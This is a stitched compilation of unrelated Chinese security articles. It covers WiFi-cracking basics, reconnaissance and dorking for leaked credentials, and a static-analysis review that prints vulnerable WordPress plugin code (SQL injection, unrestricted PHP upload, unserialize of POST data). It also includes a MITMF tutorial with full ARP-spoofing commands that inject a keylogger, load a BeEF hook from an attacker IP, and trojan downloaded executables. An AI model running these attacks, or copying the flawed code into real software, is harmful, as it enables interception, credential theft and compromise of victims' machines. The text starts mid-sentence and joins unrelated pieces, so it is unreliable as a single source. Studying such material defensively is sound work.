Point）即相当于无线路由器的作用，有线网络通过无线路由器等设备，自行建立一个无线局域网环境，使得具备无线接入功能的设备以无线方式接入路由器内网，通过路由器实现上网功能。AP以每100ms一次的频率由Beacons（信号台）将无线网络的SSID（Service
Set
Identifier）发射出去，确保覆盖范围内所有的无线客户端能够收到这个SSID广播封包，并依据无线客户端的需求决定是否要和此AP进行网络连接。通俗来说，就是无线路由器不断发射自己的“网络名字”出去，无线客户端的无线网卡接受到这个含有名字信号的才具备接入网络的基本条件。
### 0x02 WiFi网络的硬件组成
无线网络主要由基本服务单元（BSS）、站点（station）、接入点（AP）、扩展服务单元（ESS）组成。这里特别说明，在破解WiFi密码的过程中，BSS可以简单理解为无线路由器的MAC地址，站点就是已经连接到无线路由器的手机、平板等无线终端设备，接入点AP指无线路由器本身，ESS常见的表现形式是SSID，也就是大家给无线路由器信号设置的网络名称。
组建一套基本的WiFi网络环境，最常见的就是无线路由器和具备无线网卡的上网终端。无线路由器和无线网卡将传统的有线局域网络转变为方便人们使用的WiFi网络。这里我们着重介绍这两种网络设备。下图就是典型的无线路由器的外观图片：
[
无线路由器和普通的有限路由器并没有本质上的不同，额外多出的天线，将网络信号以无线电方式向外发送出去。无线路由器可以视为是将单纯的无线接入点和路由器二合一的扩展类产品，现在通常具备有DHCP服务器、支持VPN、支持内网带宽管理和DDNS功能、网络地址转换（NAT）等。
无线网卡可以是单独的一个设备，也可以集成在例如手机、平板电脑、笔记本电脑等具备无线联网功能的终端中。市场上常见的无线网卡有USB接口和PCI接口两种，下图是一个USB接口的无线网卡的外形：[
无线网卡的功能比较简单，连接终端后以无线电的形式与无线路由器相配合，接收与发送网络信号，形成网络通信媒介。无线路由器和无线网卡的通信都基于802.11标准，都可以接收和发送网络信号。在我们后续讨论的基于WiFi的安全技术中，无线路由器和无线网卡扮演了最重要的角色，几乎一切的破解过程，都在于如何建立这两种设备的通信连接。
网络设备的生产商不会只局限于生产某一种设备，同品牌的无线路由器和无线网卡产品在市面上层出不穷，扩展功能也是创新不断。目前国内流行的无线网络产品品牌有TP-LINK、D-LINK、美国网件、水星、腾达等等。在这里我们需要说明，并不是同品牌的无线路由器和无线网卡相配合就能达到更好的破解效果。在WiFi安全技术中，最在意的是802.11标准的版本、无线网卡的芯片、无线路由器和网卡的发射功率等。
在具有针对性的WiFi网络入侵案例中，无线设备的发射功率是一个重要的考量标准。如何在更远的距离上获取更稳定可靠的通信线路一直是无线黑客们追求的目标。在这里，就不得不简单的介绍一下天线技术，也就是我们常见的各类无线设备发射接收信号用的天线。
无线网络设备的天线有外置式的，比如上图中伸出的天线，也有内置式的，比如集成在手机里的天线。天线分为全向天线和定向天线两种，简单可以解释为，全向天线的信号发射没有固定方向，在一定范围内全覆盖，比如我们常用的家用路由器上伸出的两根天线。全向天线的好处是在覆盖范围内几乎所有角落都能有信号，缺点就是覆盖范围的半径不会很大，因为发射的功率是360度全向散开的。定向天线一般用于工业控制和特殊需求的应用场所，是一种固定方向发射无线电信号的天线。不同于全向天线，定向天线一般发射功率较高，能够在较远的距离上接收和发射无线电信号，但信号传播方向比较狭窄，需要在固定的方向上安置对应的无线设备。在做WiFi破解的时候，选择合适的天线类型是每一个安全人员必须要考虑的问题。如果在淘宝上搜索『卡皇』、『蹭网卡』等关键词，所谓的大功率网卡（例如拓实等品牌）一般都是定向天线。
在这里需要提醒大家的是，所谓的大功率蹭网卡，虽然装备有定向天线，发射功率也比较大，但很多时候并不适用于连接较远距离的无线路由器或者AP。无线网络通信的稳定与速率也在于无线路由器或者AP本身的发射功率。大家知道无线电在空气中传播，尤其遇到障碍物后信号强度会显著衰减，距离越远、障碍越多，有效传输距离越近。所以即使购买了所谓的卡皇等定向无线网卡，能够搜索到远处更多的无线热点信号，也不一定能够建立有效连接，对方的无线路由器或AP的功率造成了这样的限制。
### 0x03 必知的一些名词和术语
SSID：Service Set
Identifier，服务集标识符。用来标识某一无线局域网的唯一标识符，无线客户端用它入网后与接入点进行通信。SSID是人为可设置的，大家在设置无线路由器的无线信号时，自定义的无线网络名称就是SSID。SSID的存在可以将无线局域网划定为一个SSID名称对应一个密码，形成专用的一组认证机制。只有匹配成功的SSID名称和密码才能使无线客户端接入对应的无线网络。SSID信号由无线路由器或者AP进行向外发射。
WAP：Wireless Application Protocol，无线应用协议，利用它可以把网络上的信息传送到移动电话或其他无线通信终端上。
AP：Access Point，无线访问点或接入点。客户端需要连接AP才能获得登录互联网的能力。具备路由功能的AP就是一个无线路由器。 WEP：Wired
Equivalent
Privacy，802.11定义下的一种加密方式，是常见的一种无线网络的认证机制。这种加密认证机制基本已经被淘汰，是一种WiFi早期使用的加密方式，目的是给无线网络传输中的数据内容进行加密。WEP特性里使用了RSA数据安全性公司开发的rc4
ping算法。
WPA：WiFi Protected Access，常用的无线网络认证机制之一，有WPA和WPA2两个标准，并且分为个人和企业的WPA-Personal和WAP-Enterprise两种。它是为了完善WEP加密方式的安全性不足应运而生的一种加密方式。
Station：站点，网络最基本的组成部分，通常指接入网络的无线客户端，例如手机、笔记本电脑、平板电脑等。
BSSID：基本服务单元ID，在无线安全审计软件中通常显示为接入点的MAC地址。SSID和BSSID不一定一一对应，
一个BSSID在不同的信道上面可能会对应到多个SSID，但在一个信道上它们是一一对应的。
信道：Channel，是对频段的进一步划分，比如2.4G的频段范围再划分为几个小的频段，每个频段称为一个信道，处于不同传输信道上面的数据，如果覆盖范围没有重叠，那么不会相互干扰。信道选择可让设备自动进行，大家可以将网络通信链路想象为高速公路，那么信道就是高速公路上的各个车道。
信道宽度：Channel Width，例如有20MHz、40MHz等，表示一个信道的宽度。
抓包：将网络传输发送与接受的数据包进行截获、重发、编辑、转存等操作，在我们讨论的WiFi安全中，通常指无线数据包的截取等。
### 0x04 简单案例、防护提醒
家庭无线网络被攻破：
目前几乎每个家庭都有WiFi网络，已经成为生活中不可缺少的一部分。由于家用无线路由器的信号范围能够达到几十米，那么周围的邻居、楼下停车场的路人都有可能搜索到网络信号。部分以蹭网下载为目的的人员很有可能破解家庭WiFi密码，达到接入家庭网络后利用带宽进行大流量下载工作。如果攻击者具有其他目的，也很有可能在攻破WiFi网络后利用抓包，嗅探等后续的内网渗透方式攻击家庭内部的客户端，包括手机、笔记本电脑等，获取敏感的账号密码信息，对家庭成员的财务、隐私等造成损失。
企业无线网络被攻破：
如果一个企业的无线网络被攻破，通常情况下，攻击者能够顺利的加入内网环境，访问公司内部网络敏感资源，或者直接渗透进入敏感部门人员使用的计算机获取重要文件等。攻击者同样也可以进行上传木马、服务器提权等一系列的攻击手段。
WiFi的安全问题并不只有上述两种危害，在这里给大家先行提醒几个降低WiFi安全隐患的几点建议：
手机在不用WiFi时将WiFi功能关闭，需要时手动打开，可以避免连接设有陷阱的公共钓鱼WiFi信号，造成手机存储的一些敏感数据被盗。
避免在公共场所，例如火车站、机场、商场等地使用密码公开的公用WiFi。此时你和不怀好意的攻击者处于统一内网，很容易被进行钓鱼或者网络劫持。
自用的WiFi，SSID最好设置成中文名称，可以减低被破解的风险，因为国外的很多破解软件并不支持中文，会存在乱码问题。
自用的WiFi密码一定要设置的足够复杂，甚至像乱码一样，避免使用12345678这类弱口令，以及和家庭成员有关的密码设置，比如手机号、门牌号、姓名拼音等作为密码。
经常查看无线路由器的管理页面，查看有没有非授权用户接入自己的WiFi网络。
如果可能，在公共外出场所尽量使用手机数据流量进行上网，尤其是使用支付宝、登录某种账户等操作时，免费的WiFi总有可能会带来不安全的因素。 | 社区文章 |
# 浅谈信息收集的那些事儿
* * *
# 前言
> 大佬都说信息收集最重要啦~
> 懒就没有洞啦~
>
>
# Go
## 子域名收集
> 一切的开始，当然是子域名枚举，于是很关键的工具们登场了
这里推荐三个很好用的工具，也是最常用的三个。
> [amass](https://github.com/OWASP/Amass)
> [sublist3r](https://github.com/aboul3la/Sublist3r)
> [aiodnsbrute](https://github.com/blark/aiodnsbrute)
子域名的收集方法目前大部分都是：爆破，搜索引擎收集，dns查询，证书查询。
这三个工具算是很多信息收集文章都提到的，主要原因：快。
这三个工具安装不会很复杂，`amass` 的话用 `snap` 安装比较好，看看官方的说明文档，还是很简单的。
这里就要提一下 `subfinder` 这个工具了，也许是我天赋不够，这个工具简直难装。。后来经表哥点醒，其实和 `sublist3r` 差不多，所以这里用
`sublist3r` 代替就好，当然表哥们也可以用 `docker` 体验一下这个工具。
再推荐两个线上的：
> <https://dnsdumpster.com/>
> <https://crt.sh/>
这两个其实上面的工具都有用的功能。
这里还有一个：
> <http://webscan.360.cn/sub/index/?url=baidu.com>
大概长这样：
而且效果貌似也不错，可以作为参考。借 360 之手吧。
## 目录枚举 & FUZZ
### 目录枚举
这里推荐我用的顺手的一个工具
> [dirsearch](https://github.com/maurosoria/dirsearch)
推荐理由很简单，因为可以在 `windows` 上用。
目录枚举的工具也有很多，但其实关键还在字典，这里推荐几个看到不错的：
> [RobotsDisallowed](https://github.com/danielmiessler/RobotsDisallowed)
据说是从大量 `robots.txt` 中收集而来，我扫了一下 `thinkphp` 的站点效果一般，可能是因为 `tp`
的路由关系，可以看看，说不定能用上。
> [SVN Digger](https://www.netsparker.com/blog/web-security/svn-digger-better-> lists-for-forced-browsing/)
很少有人提，但是还不错的字典，可以翻一下。
> 当然最后还有个人尽皆知的 [Seclists](https://github.com/danielmiessler/SecLists)
### FUZZ
> FUZZ 天下第一~
FUZZ 的工具也推荐两个吧：
> [parameth](https://github.com/maK-/parameth) 专门拿来 FUZZ 参数的
> [WUFFZ](https://github.com/xmendez/wfuzz) 网上的教程已经数不胜数了
FUZZ 的工具其实还挺尴尬，很多功能 `BurpSuite` 都可以做到，那么一般不会舍近求远。
不过还是可以试试，看看哪个用起来顺手吧。
`FUZZ` 的关键也在于字典，当然有时候也需要点小想法。
这里有个为 FUZZ 准备的字典：
> [IntruderPayloads](https://github.com/1N3/IntruderPayloads) 这里有很多，比如
> 目录，上传，SQL，XSS，用户名密码这些
> [parameth](https://github.com/maK-/parameth) 这个就是 FUZZ 参数用的字典了
当然 `FUZZ` 的参数有时候可以从网站本身收集，比如 数据包1 中的参数放到 数据包2 或者 网站中返回 `json` 格式数据时将 `键名`
转为字典。
* * *
其实字典太多有时候也很难选择，一般工具也会自带两个不错的，这几个都是国外的，国内有像 `御剑`
也有自带一些，在测试过程中也可以自己主动收集一些，这里就可以用到米斯特表哥写 `BP` 插件了
> [BurpCollector](https://github.com/TEag1e/BurpCollector)
渗透过程中，可以找一些好用的字典整理成一份属于自己的字典。
## 额外的信息收集
> 当然信息收集还没有结束
### CMS 识别
CMS 的漏洞时有爆出，所以我们可以先识别 CMS，试试已经爆出的 `POC`。
也许是我没收集到，我发现国内的 `CMS` 识别工具不太多或者指纹已经很少更新，十分老旧。
不过依然有一个是不错的：
> [云悉](http://www.yunsee.cn/)
不过 `云悉` 想注册是要交指纹的，可以找个 `cms`，看看指纹什么的。
当然国外也有一些 `CMS识别工具`，但是在国内不太适用，因为识别不了国产 CMS （dede，thinkphp，74 等..）
所以也可以自己收集一些指纹结合上现有的，做一个工具。
通常来说判断一个 CMS 的方法：
1. 可以根据网站特有 URL 判断
2. 通过一些文件的 MD5 值，有时候也可以判断 `CMS` 类型(比如 `/favicon.ico` )
3. 检查 `response` 头 或者页面中 Power by
在 `github` 上翻到表哥写的工具中的指纹：
> [部分 cms 特有 URL
> 指纹](https://github.com/dyboy2017/WTF_Scan/blob/master/wtf/app/api/cms/cms.txt)
还有个功能写的挺全的，可以参考参考他的代码，这里指纹也不少
> [cmsIdentification](https://github.com/theLSA/cmsIdentification) 可惜是两年前的项目了
所以大家快来 云悉 贡献一下力量吧 hhh
### Javascript 世界第一
#### URL 收集
有时候我们可以在 `javascript` 中发现一些未公开的敏感接口,所以我们可以多看看 `javascript` 文件,但是 `javascript`
文件可能会有很多，有没有方法可以自动收集呢？
有。
首当其冲的当然是我们的 `BP`：
在 `BP 专业版` 中的：
> Target => Site Map => 找到要提取 script 的地址右键 => Engagement tools => Find scripts
我们就可以在 `Find scripts` 前主动去爬一下网站，增加一些内容，让结果多些。
如果点 `Export Script`，他会把所有脚本内容都写入一个文件里，有时我们可能只需要 `script` 的 `url链接`，此时我们可以全选，然后
上面那个是提取 URL，下面那个应该是提取 `Response` 中的 `src/href`
当然还有一个工具
>
> [javascript_files_extractor](https://github.com/003random/003Recon/blob/master/tools/javascript_files_extractor.py)
但是这个脚本只能提取一个页面的，而且也有些小毛病，就是不能请求 https，我们可以改改：
改成：
此时就可以在一个文件中写类似这样的格式：
执行命令：
> python javascript_files_extractor.py domains.txt hhhh.txt
此时 `hhhh.txt` 就会输出提取出来的 `js` 文件啦。
当然，这个脚本代码就一点点，所以也可以参考一下，自己写一个也不费劲。
#### 提取节点
这时候我们就有很多 `script` 的 `URL` 了，但是一个一个分析太麻烦，有没有什么可以自动帮我们找到接口呢？
也有，这里有个好用的工具，可以提取 javascript 中的节点：
> [LinkFinder](https://github.com/GerbenJavado/LinkFinder)
基本用法的话，类似这样：
> python linkfinder.py -i
> <https://https://max.book118.com//statics/js2/book118ajax2.js>
但是好像不能给一批 `URL`，不过也可以自己写个脚本调用一下。
这里有个 LinkFinder 的 `Chrome` 扩展，但是可能写的有些问题，需要改改东西才行，表哥们有兴趣的话可以自行研究看看啦
> [LinkFinder Chrome
> Extension](https://github.com/GerbenJavado/LinkFinder/tree/chrome_extension)
这里就要提一下 [JSParser](https://github.com/nahamsec/JSParser)，我用的话感觉不如 LinkFinder
，而且用起来也很麻烦。
### 搜索的技巧
#### google dork
谷歌有时候可以帮助我们找到一些信息泄露。
最常见的语法可以是这样：
> intext:"后台登陆"
或者这样：
> site:*.domain.com file type: php
有时候我们可以找一些 `xlsx` ，找找有没有泄露的账号或密码。
#### Github
在 `Github` 中我们也可以找一些泄露：
比如：
> "domain.com" API_KEY
> "domain.com" login
> "domain.com" password
* * *
等等，有时候我们可以在这些 搜索 时这些时候发现一些有趣的东西。当然，有时候我们也可以看看 源代码里（F12），可能注释了一些好东西哦。
## 总结
在本文开头介绍了一些好用的 `子域名收集的工具`，子域名的搜集可以帮我们扩大攻击面（官方套话）。之后介绍了一个 `目录枚举` 的工具，并给出了一些好用的
`字典`。
然后信息收集中我们提到了 `CMS 探测`，提到了几个 `探测的思路`
我们收集了 `js文件` 并进行分析，最后介绍了几个常用的 `google dork/Github` 搜集信息的语法。
信息收集是个很大的范围，本文也只是粗略的介绍一二，有很多不对和不好的地方希望表哥们指出斧正。
* * * | 社区文章 |
# 盘点2017年的WordPress插件漏洞
##### 译文声明
本文是翻译文章，文章原作者 Dr. Johannes Dahse，文章来源：ripstech.com
原文地址：<https://blog.ripstech.com/2017/wordpress-plugin-vulnerabilities-static-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](https://www.anquanke.com/member/118146)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 前言
据[统计](https://blog.ripstech.com/2017/wordpress-plugin-vulnerabilities-static-analysis/#fn:1)，全球29%的网站使用的都是WordPress。由于WordPress的使用非常广泛，使得WordPress插件的安全问题成为了网络犯罪分子们关注的焦点。一般来说，第三方提供的插件其安全等级肯定没有WordPress核心插件的安全等级高，因此它们对于攻击者来说，绝对是极具吸引力的攻击目标。为了入侵目标WordPress站点，攻击者需要利用插件中的安全漏洞，那么静态代码分析技术能检测到这些漏洞吗？
在这篇文章中，我们将会对2017年影响最为严重的插件漏洞进行分析。除此之外，我们还会跟大家介绍静态代码分析工具如何才能检测到这些漏洞。
### **漏洞选取**
我们选取[公开已知](https://wpvulndb.com/)插件漏洞的条件如下：
1\. 发布于2017年
2\. 受影响的插件安装量非常大
3\. 漏洞影响严重
4\. 不需要认证或对服务器有任何要求（例如[WP
statistics插件的SQLi漏洞](https://demo.ripstech.com/projects/wp_statistics_12.0.7)）
5\. 不会影响非开源的商业插件
RIPS可以对非WordPress核心插件进行代码分析，接下来，我们会对WordPress的相关功能进行分析，并介绍如何对插件进行深入的代码分析。
RIPS针对WordPress的分析报告：【[传送门](https://demo.ripstech.com/projects/wordpress_plugins)】
### **Loginizer 1.3.5-SQL 注入漏洞（CVE-2017-12650）**
目前，总共有55万WordPress站点安装了Loginizer插件。这款插件的作用理应是通过屏蔽暴力破解攻击、启用双因素身份验证、以及reCAPTCHA验证码机制来给WordPress的登录功能增加安全性。但是在今年八月份，研究人员在Loginizer的登录程序中发现了一个SQL注入漏洞，而这个漏洞反而会让原本需要得到保护的管理员凭证处于安全风险之中。
接下来，我们一起看一看包含漏洞的代码，并且跟大家解释静态代码分析工具（以下简称SAST工具）如果想要检测到这类漏洞的话，需要什么样的要求。在接下来的分析过程中，我们给大家提供的只是简单的代码段，而实际的分析会更加复杂。
#### 第一步：识别自定义的SQL封装器
首先，SAST工具最基本的就是要识别出该插件中用户自定义的函数lz_selectquery()，这个函数可以利用WordPress的数据库驱动器来执行SQL语句。当这个函数被调用的时候，它需要对第一个参数进行SQL注入检测。
**modules/Emails/DetailView.php**
function lz_selectquery($query, $array = 0){
global $wpdb;
$result = $wpdb->get_results($query, 'ARRAY_A');
}
#### 第二步：识别输入来源
对于SAST工具而言，另一种基本功能就是它必须能够识别出PHP中所有常见的和不常见的用户输入来源。但攻击者可以修改用户自定义函数lz_getip()所返回的HTTP请求头，因此该函数所返回的值就是不可信的了，所以整个数据流必须进行精准跟踪。
**modules/Emails/DetailView.php**
function lz_getip() {
global $loginizer;
if(isset($_SERVER["REMOTE_ADDR"])) {
$ip = $_SERVER["REMOTE_ADDR"];
}
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}
return $ip;
}
#### 第三步：分析WordPress的action和filter
WordPress允许我们定义各种不同的action来调用自定义函数，为了跟踪插件的控制流程，SAST工具必须要了解这些回调的运行机制。在下面给出的代码段中，我们可以看到loginizer_load_plugin()函数是通过action调用的，这个函数可以从lz_getip()函数中获取用户输入，并将其存储再全局数组$loginizer之中，然后再通过WordPress
filter来调用另一个自定义函数loginizer_wp_authenticate()。因此，除了WordPress
action之外，SAST工具还需要了解WordPress filter的工作机制。
**modules/Emails/DetailView.php**
function loginizer_load_plugin() {
global $loginizer;
$loginizer['current_ip'] = lz_getip();
add_filter('authenticate', 'loginizer_wp_authenticate', 10001, 3);
}
add_action('plugins_loaded', 'loginizer_load_plugin');
#### 第四步：分析全局变量
虽然下面这段代码对于我们人类来说可以轻易看懂，但是对于SAST工具来说分析起来可就非常复杂了。它需要通过多个函数调用来分析全局数组$loginizer的数据流，只有这样它才能够检测到lz_getip()函数传递给loginizer_can_login()函数（为对SQL语句中的拼接内容进行数据过滤）的用户输入信息。其中的SQL语句是通过自定义的SQL函数lz_selectquery()实现的，虽然WordPress可以通过模拟magic_quotes来防止注入，但是来自HTTP头中的恶意用户输入数据并不会受此影响。
**modules/Emails/DetailView.php**
function loginizer_wp_authenticate($user, $username, $password) {
global $loginizer, $lz_error, $lz_cannot_login, $lz_user_pass;
if(loginizer_can_login()) {
return $user;
}
}
function loginizer_can_login() {
global $wpdb, $loginizer, $lz_error;
$result = lz_selectquery("SELECT * FROM ".$wpdb->prefix."loginizer_logs
WHERE ip = '".$loginizer['current_ip']."';");
}
由于RIPS的分析算法主要针对的是PHP语言，因此它对WordPress的分析会比较到位，因此它能够识别出WordPress复杂的数据流，并成功检测出插件中的SQL注入漏洞。
RIPS针对wp_loginizer_1.3.5的分析报告：【[传送门](https://demo.ripstech.com/projects/wp_loginizer_1.3.5)】
### **Ultimate Form Builder Lite 1.3.6-SQL 注入漏洞（CVE-2017-15919）**
[Ultimate Form Builder](https://wordpress.org/plugins/ultimate-form-builder-lite/)插件目前的安装量已经超过了5万，它允许我们使用拖拽的形式来创建联系表单。在今年十月份，研究人员在该插件中发现并报告了一个严重的SQL注入漏洞，而该漏洞将允许攻击者接管目标WordPress网站。
接下来，我们会分析代码中存在的问题，以及SAST工具如何才能检测到这个安全漏洞。
#### 第一步：识别上下文环境
首先，插件要执行的所有SQL语句都需要被分析，虽然WordPress数据库驱动跟插件代码无关，但它所使用的方法（例如get_rwo()）是可以被RIPS引擎识别的（搜索潜在的SQL注入漏洞）。
**modules/Emails/DetailView.php**
class UFBL_Model {
public static function get_form_detail( $form_id ) {
global $wpdb;
$table = UFBL_FORM_TABLE;
$form_row = $wpdb->get_row("SELECT * FROM $table WHERE form_id = $form_id");
return $form_row;
}
}
在这里，引擎可以分析SQL语句以识别注入环境。一般来说，这种地方的安全漏洞是很难被发现的。如果它读取的是form_id=’$form_id’而不是form_id=$form_id，那么这条语句就没有安全问题了，因为WordPress可以对用户的输入进行甄别。因此，只有那些上下文环境敏感的SAST工具才能够感知到这种隐蔽的安全问题。
#### 第二步：跟踪用户输入数据流
这一步相对来说比较简答，你可以从在下面的代码中看到，如果工具无法分析到$form_id的潜在隐患，那么受污染的数据将有可能扩散到其他功能函数中。
**modules/Emails/DetailView.php**
class UFBL_Lib {
public static function do_form_process() {
$form_data = array();
foreach ( $_POST['form_data'] as $val ) {
if ( strpos( $val['name'], '[]' ) !== false ) {
$form_data_name = str_replace( '[]', '', $val['name'] );
if ( !isset( $form_data[$form_data_name] ) ) {
$form_data[$form_data_name] = array();
}
$form_data[$form_data_name][] = $val['value'];
} else {
$form_data[$val['name']] = $val['value'];
}
}
$form_id = sanitize_text_field( $form_data['form_id'] );
$form_row = UFBL_Model::get_form_detail( $form_id );
}
}
其中的$_POST[‘form_data’]被分配给了另一个数组，并使用了WordPress的内部过滤函数sanitize_text_field()来进行数据过滤。但是就我们现在所检测到的这个SQL上下文环境来说，这个过滤函数并不能防止SQL注入的发生。为了检测这种漏洞并防止假阳性，SAST工具需要跟踪复杂的数据流，它们不仅要能够识别WordPress的内部函数，而且还要能评估这些函数在不同环境下的影响。
RIPS针对wp_formbuilder_1.3.6的分析报告：【[传送门](https://demo.ripstech.com/projects/wp_formbuilder_1.3.6)】
**Zen Mobile App Native 3.0- 文件上传漏洞（2017-02-27）**
研究数据表明，Zen Mobile App
Native插件已经成为了近期[最容易受到攻击的插件](https://www.wordfence.com/blog/2017/10/september-2017-wordpress-attack-report/)之一，而且这个漏洞也是2017年攻击者最喜欢利用的三大漏洞之一。下面代码中的漏洞还会影响很多其他的插件，例如Mobile
App Builder 1.05。
**/zen-mobile-app-native/server/images.php**
if (!$_FILES['file']['error']) {
$name = md5(rand(100, 200));
$ext = explode('.', $_FILES['file']['name']);
$filename = $name . '.' . $ext1;
$destination = 'images/' . $filename;
$location = $_FILES["file"]["tmp_name"];
move_uploaded_file($location, $destination);
echo $plugin_url.'/server/images/' . $filename;
}
受影响的代码行数很少，因此SAST工具可以轻松发现这个安全问题。代码会利用move_uploaded_file()函数来上传文件，RIPS对其中的两个用户输入参数进行了分析。虽然文件名会使用随机哈希代替，但是文件扩展名仍然是攻击者可以控制的。因此，攻击者就可以通过上传一个PHP
shell文件（扩展名为.php）并在目标Web服务器中实现任意代码执行。
RIPS针对wp_zenmobile_3.0的分析报告：【[传送门](https://demo.ripstech.com/projects/wp_zenmobile_3.0)】
**Appointments 2.2.1-PHP 对象注入漏洞（2017-10-02）**
最后这个例子是非常容易发现的，很多工具可以直接通过签名来发现其中的异常。不久之前，研究人员在Appointments插件中发现了一个PHP对象注入漏洞，而且很多其他的插件也存在这种漏洞，例如Flickr
Gallery和RegistrationMagic Custom Registration Forms。这里的问题并不复杂，因为这里只有一行代码：
**/flickr-gallery.php**
$pager = unserialize(stripslashes($_POST['pager']));
更重要的是，这一行代码就能给我们的应用程序带来严重的影响。
## 总结
在这篇文章中，我们给大家简单分析了2017年比较严重的四个WordPress插件漏洞，并且介绍了静态代码检测工具如何才能检测到这些安全漏洞。由于目前市场上大约有4万多款WordPress插件，再加上WordPress插件数量一直在稳步增长，因此在2018年我们很可能会看到更多包含安全漏洞的插件出现。 | 社区文章 |
# MITMF
## 0x00. MITMF简介
###
MITMF其实就是一个基于python编写的中间人攻击的框架，就好比metaspoit一样，无比强大且但十分易用。下面笔者就给大家介绍一下它有哪些用途，本文具有攻击性，大家最好在自己的实验环境中使用。
* * *
## 0x01. MITMF安装
> apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-> queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3
> libcapstone-dev libffi-dev file && apt-get install mitmf
>
> * * *
>
>
>
>
> * * *
>
> pip uninstall twisted && wget
> <http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2> &&
> pip install ./Twisted-15.5.0.tar.bz2
>
> * * *
>
>
>
>
> * * *
>
> pip install python-magic && git clone
> <https://github.com/secretsquirrel/the-backdoor-factory.git> && cd the-> backdoor-factory && ./install.sh
>
> * * *
>
>
>
>
>
>
> * * *
>
> ## 0x02. jskeylogger模块
>
> ### 1\.
> 启动MITMF的键盘记录模块（注：有时MITMF不能正常运行，但是笔者访问了<http://127.0.0.1:9999之后却能运行成功，可能是什么BUG）>
>
> echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf **-** -spoof **-** -arp -i
> eth0 **-** -gateway 192.168.1.1 **-** -target 192.168.1.106 **-**
> -jskeylogger
### 2\. 靶机登陆淘宝，查看效果（这里编码出了点问题）
* * *
## 0x03. **-** -js-url模块
### 1\. 启动beef，构造hook(注：beef的账号密码都是beef)
### 2\. 启动 **-** -js-url模块向目标网页插入hook代码
> echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf **-** -spoof **-** -arp -i
> eth0 **-** -gateway 192.168.1.1 **-** -target 192.168.1.106 **-** -inject
> **-** -js-url <http://192.168.1.105:3000/hook.js>
### 3\. 启动靶机访问任意页面，可以看到js
已经注入到页面当中，玩过beef的都知道它的强大，但是笔者的beef出了点问题，就不给大家演示了，有兴趣的可以自己去搜一下
* * *
## 0x04. **-** -filepwn模块
### 1\. 启动msf，加载msgrpc模块
> service postgresql start && msfconsole
>
> load msgrpc
### 2\. 改写配置文件
> gedit /usr/share/mitmf/config/mitmf.conf
### 3\. 启动mitmf，开启filepwn,之后msf会自动加载几个exp进行侦听
> echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf **-** -spoof --arp -i eth0
> **-** -gateway 192.168.1.1 **-** -target 192.168.1.106 **-** -filepwn
### 4\. filepwn的原理就是在靶机下载可执行程序时将木马插入程序里，执行程序时就会启动木马，所以接下来我用靶机下载一个putty程序
### 5\.
之后正常情况下msf应该就能接收到木马的连接，但是不知道是笔者环境出了问题还是姿势不对，msf老是报错，希望有经验的读者可以告诉我解决的办法，谢谢
* * *
## 0x05. 结语
### 经常遇到玄学问题，可能还是由于自己比较菜，所以希望有大神看到文章之后能[email
me](mailto:[email protected])，我们一起探讨玄学！ | 社区文章 |
# 【知识】6月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
针对巴基斯坦的某APT活动事件分析、dnsAutoRebinding：ssrf、ssrf内网地址fuzz、dns二次rebinding、支持ipv4/ipv6、支持ip地址转码、dns记录污染(文末一个0day为例)
**、** Python Waf黑名单过滤下的一些Bypass思路、Alpine Linux：从漏洞发现到代码执行（Pt 1 of 2）、Tomcat
源代码调试笔记 – 看不见的 Shell **、**** **T00LS帖子正文XSS、pwn Vivotek 的网络摄像头、Blind SQL
Injection Attacks** **
**
**
**
**资讯类：**
* * *
微软Win 10内部架构和部分源代码遭泄露
<http://thehackernews.com/2017/06/windows10-builds-source-code.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
针对巴基斯坦的某APT活动事件分析
<http://bobao.360.cn/learning/detail/4020.html>
dnsAutoRebinding：ssrf、ssrf内网地址fuzz、dns二次rebinding、支持ipv4/ipv6、支持ip地址转码、dns记录污染(文末一个0day为例)
<https://github.com/Tr3jer/dnsAutoRebinding>
利用 Huginn 将微信公众号转化为 RSS 订阅
<https://www.40huo.cn/blog/wechat2rss-by-huginn.html>
Python Waf黑名单过滤下的一些Bypass思路
<http://www.0aa.me/index.php/archives/123/>
电子数据取证技能树 (V1)
[https://mp.weixin.qq.com/s?__biz=MzUyNTA2MTQ5Mw==&mid=2247483707&idx=1&sn=584d666fb85762354378d0919dad5ed5&scene=0](https://mp.weixin.qq.com/s?__biz=MzUyNTA2MTQ5Mw==&mid=2247483707&idx=1&sn=584d666fb85762354378d0919dad5ed5&scene=0)
Tomcat 源代码调试笔记 – 看不见的 Shell
[https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483666&idx=1&sn=6421b39037735953fa3148bdbf5bf912&chksm=ecb11de2dbc694f4e00a55667fdc81387d53494788f43ec90327fa64f8c02fa6805fc0577671&mpshare=1&scene=1&srcid=0623Z7avuWtePZvyDd2GWbOi&key=f0ee669](https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483666&idx=1&sn=6421b39037735953fa3148bdbf5bf912&chksm=ecb11de2dbc694f4e00a55667fdc81387d53494788f43ec90327fa64f8c02fa6805fc0577671&mpshare=1&scene=1&srcid=0623Z7avuWtePZvyDd2GWbOi&key=f0ee669)
2017年上半年网络诈骗趋势研究报告
[http://zt.360.cn/1101061855.php?dtid=1101062366&did=490534325](http://zt.360.cn/1101061855.php?dtid=1101062366&did=490534325)
AWS安全入门
<https://cloudonaut.io/aws-security-primer/>
Alpine Linux：从漏洞发现到代码执行（Pt 1 of 2）
